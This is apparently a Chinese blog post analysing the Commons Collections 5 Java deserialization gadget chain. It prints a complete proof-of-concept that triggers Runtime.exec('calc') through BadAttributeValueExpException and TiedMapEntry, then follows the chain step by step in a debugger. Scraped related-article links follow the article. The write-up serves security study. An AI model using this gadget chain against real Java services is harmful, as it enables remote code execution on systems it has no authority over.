Java安全之Commons Collections5分析

文章首发:Java安全之Commons Collections5分析

0x00 前言

在后面的几条CC链中,如果和前面的链构造都是基本一样的话,就不细讲了,参考一下前面的几篇文。

在CC5链中ysoserial给出的提示是需要JDK1.8并且SecurityManager需要是关闭的。先来介绍一下SecurityManager是干嘛的。SecurityManager也就是java的安全管理器,当运行未知的Java程序的时候,该程序可能有恶意代码(删除系统文件、重启系统等),为了防止运行恶意代码对系统产生影响,需要对运行的代码的权限进行控制,这时候就要启用Java安全管理器。该管理器默认是关闭的。

0x01 POC分析

  1. package com.test;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.map.LazyMap;
  7. import org.apache.commons.collections4.keyvalue.TiedMapEntry;
  8. import javax.management.BadAttributeValueExpException;
  9. import java.io.FileInputStream;
  10. import java.io.FileOutputStream;
  11. import java.io.ObjectInputStream;
  12. import java.io.ObjectOutputStream;
  13. import java.lang.reflect.Field;
  14. import java.util.HashMap;
  15. public class cc5 {
  16. public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
  17. ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
  18. new ConstantTransformer(Runtime.class),
  19. new InvokerTransformer("getMethod", new Class[] {
  20. String.class, Class[].class }, new Object[] {
  21. "getRuntime", new Class[0] }),
  22. new InvokerTransformer("invoke", new Class[] {
  23. Object.class, Object[].class }, new Object[] {
  24. null, new Object[0] }),
  25. new InvokerTransformer("exec",
  26. new Class[] { String.class }, new Object[]{"calc"})});
  27. HashMap innermap = new HashMap();
  28. LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
  29. TiedMapEntry tiedmap = new TiedMapEntry(map,123);
  30. BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
  31. Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
  32. val.setAccessible(true);
  33. val.set(poc,tiedmap);
  34. try{
  35. ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
  36. outputStream.writeObject(poc);
  37. outputStream.close();
  38. ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
  39. inputStream.readObject();
  40. }catch(Exception e){
  41. e.printStackTrace();
  42. }
  43. }
  44. }

前面的上半段和CC1链是一模一样的,主要来分析在这两者中不同的部分。

  1. HashMap innermap = new HashMap();
  2. LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
  3. TiedMapEntry tiedmap = new TiedMapEntry(map,123);
  4. BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
  5. Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
  6. val.setAccessible(true);
  7. val.set(poc,tiedmap);

前面的new了一个HashMap传入到LazyMap里面,同时也传入了 ChainedTransformer实例化对象,当调用get方法的时候,就会调用到 ChainedTransformertransformf方法,这个没啥好说的,老面孔了。前面也分析过好几回了。主要的是下面的这一段代码。

  1. TiedMapEntry tiedmap = new TiedMapEntry(map,123);
  2. BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
  3. Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
  4. val.setAccessible(true);
  5. val.set(poc,tiedmap);

TiedMapEntry是一个新生面孔,来查看一下该类源码。

该类的构造方法需要2个参数。所以我们的POC代码中,传入了一个LazyMap实例化对象和一个123的字符做占位。

而在getValue方法里面就会去调用到刚刚赋值的map类get方法。前面我们传入的是LazyMap对象,这时候调用get方法的话,就和前面的串联起来达成命令执行了。这里先不做分析,来到下一步,查看一下,哪个地方会调用到该方法。

而在toString方法里面就会去调用到getValue方法。

  1. BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
  2. Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
  3. val.setAccessible(true);
  4. val.set(poc,tiedmap);

再来看下面一段代码,new了一个BadAttributeValueExpException的对象,并且反射获取val的值,将val的值设置为TiedMapEntry实例化对象。

BadAttributeValueExpExceptionreadObject方法会获取到val的值,然后赋值给valObj变量,然后调用valObjtoString方法。

0x02 CC5链调试

readObject复写点打个断点,也就是BadAttributeValueExpExceptionreadObject方法。

上面断点的地方会去获取val的值,赋值给valObj,前面我们使用反射将val设置为TiedMapEntry的对象。

这里会去调用valObjtoString方法,也就是TiedMapEntrytoString方法。跟进一下该方法,查看调用。

这里面会去调用getKeygetValue方法,这里选择跟踪getValue方法。

这里的this.mapLazyMap实例化对象,是在创建TiedMapEntry对象的时候传参进去的。再跟进一下get方法就和前面调试CC1链的步骤一样了。

这里会去调用this.factorytransform,也就是ChainedTransformertransform。再来跟进一下。

接着就是遍历调用数组里面的transform方法。第一个值为ConstantTransformer,会直接返回传参的值。

这里返回的是Runtime,将该值传入第二次的参数里面调用transform方法。

第二次遍历的值是InvokerTransformer对象, 这里的transform方法会反射去获取方法并且进行执行。第二次执行返回的是Runtime.getRuntime的实例化对象。再传入到第三次执行的参数里面去执行。

第三次去执行则是获取返回他的invoke方法,传入给第四次执行的参数里面。

第四次执行里面的this.iMethodNameexec,this.iArgscalc。执行完成这一步过后就会去执行我们设置好的命令,也就是calc。弹出计算器。

调用链

  1. BadAttributeValueExpException.readObject->TiedMapEntry.toString
  2. ->LazyMap.get->ChainedTransformer.transform
  3. ->ConstantTransformer.transform->InvokerTransformer.transform
  4. ->Method.invoke->Class.getMethod
  5. ->InvokerTransformer.transform->Method.invoke
  6. ->Runtime.getRuntime-> InvokerTransformer.transform
  7. ->Method.invoke->Runtime.exec

0x03 结尾

其实在该链的后面中,并没有写太详细,因为后面和CC1链中的都是一模一样的。如果没有去调试过的话,建议先去调试一下CC1的链

Java安全之Commons Collections5分析的更多相关文章

  1. Java安全之Commons Collections1分析(二)

    Java安全之Commons Collections1分析(二) 0x00 前言 续上篇文,继续调试cc链.在上篇文章调试的cc链其实并不是一个完整的链.只是使用了几个方法的的互相调用弹出一个计算器. ...

  2. Java安全之Commons Collections1分析(一)

    Java安全之Commons Collections1分析(一) 0x00 前言 在CC链中,其实具体执行过程还是比较复杂的.建议调试前先将一些前置知识的基础给看一遍. Java安全之Commons ...

  3. Java安全之Commons Collections1分析前置知识

    Java安全之Commons Collections1分析前置知识 0x00 前言 Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分.Apache C ...

  4. Java安全之Commons Collections1分析(三)

    Java安全之Commons Collections1分析(三) 0x00 前言 继续来分析cc链,用了前面几篇文章来铺垫了一些知识.在上篇文章里,其实是硬看代码,并没有去调试.因为一直找不到JDK的 ...

  5. Java安全之Commons Collections3分析

    Java安全之Commons Collections3分析 文章首发:Java安全之Commons Collections3分析 0x00 前言 在学习完成前面的CC1链和CC2链后,其实再来看CC3 ...

  6. Java安全之Commons Collections2分析

    Java安全之Commons Collections2分析 首发:Java安全之Commons Collections2分析 0x00 前言 前面分析了CC1的利用链,但是发现在CC1的利用链中是有版 ...

  7. Java安全之Commons Collections7分析

    Java安全之Commons Collections7分析 0x00 前言 本文讲解的该链是原生ysoserial中的最后一条CC链,但是实际上并不是的.在后来随着后面各位大佬们挖掘利用链,CC8,9 ...

  8. Java安全之Commons Collections6分析

    Java安全之Commons Collections6分析 0x00 前言 其实在分析的几条链中都大致相同,都是基于前面一些链的变形,在本文的CC6链中,就和前面的有点小小的区别.在CC6链中也和CC ...

  9. ref:Java安全之反序列化漏洞分析(简单-朴实)

    ref:https://mp.weixin.qq.com/s?__biz=MzIzMzgxOTQ5NA==&mid=2247484200&idx=1&sn=8f3201f44e ...

随机推荐

  1. MiniJpegDecoder使用介绍

    承接昨天写的<JPEG软解码实现介绍>,今天介绍其使用方法和一些细节说明. 1.仓库下已经包含了几个jpeg文件,以方便直接校验. 2.使用命令分为两种模式. 一种是直接解码为yuv文件, ...

  2. 关于struts1与struts2

    1.Action方面 Action是整个Struts框架的核心内容,Struts1.x与Struts2的Action模型很大的区别.Struts2是一个 pull-MVC架构 ,从开发者角度看,就是说 ...

  3. Android控件Gridivew列数行间距设定

    常用属性 列数 android:numColumns="3" 行间距 android:verticalSpacing="8dp"

  4. TabLayout+ViewPager制作简单导航栏

    先看样例,有图有真相 绑定viewpager 此处主要说明tablayout的使用方法,viewpager绑定fragment的介绍在其他文章说明 mBinding.tabsLayout.setupW ...

  5. gerrit安装配置记录

    gerrit安装配置 java -jar gerrit-2.13.5.war init -d gerrit Authentication method [OPEN/?]: htt Install Ve ...

  6. Leetcode-递归&分治

    50. Pow(x, n) https://leetcode-cn.com/problems/powx-n/ 实现 pow(x, n) ,即计算 x 的 n 次幂函数. 说明: -100.0 < ...

  7. 02 Writing Your First Program 写你的第一个C程序

    Let's print "Hi" 打印输出"Hi" In your first computer program, let's print something ...

  8. Python实现好友生日提醒

    Python实现好友生日提醒  

  9. form中的标签例子

    <form action="dreamdu.php" method="post" id="dreamduform"> <f ...

  10. spring boot:actuator的安全配置:使用spring security做ip地址限制(spring boot 2.3.2)

    一,actuator有哪些环节要做安全配置? actuator是应用广泛的监控工具, 但在生产环境中使用时,需要做严格的安全保障, 避免造成信息泄露等严重的安全问题 actuator可以采取的安全措施 ...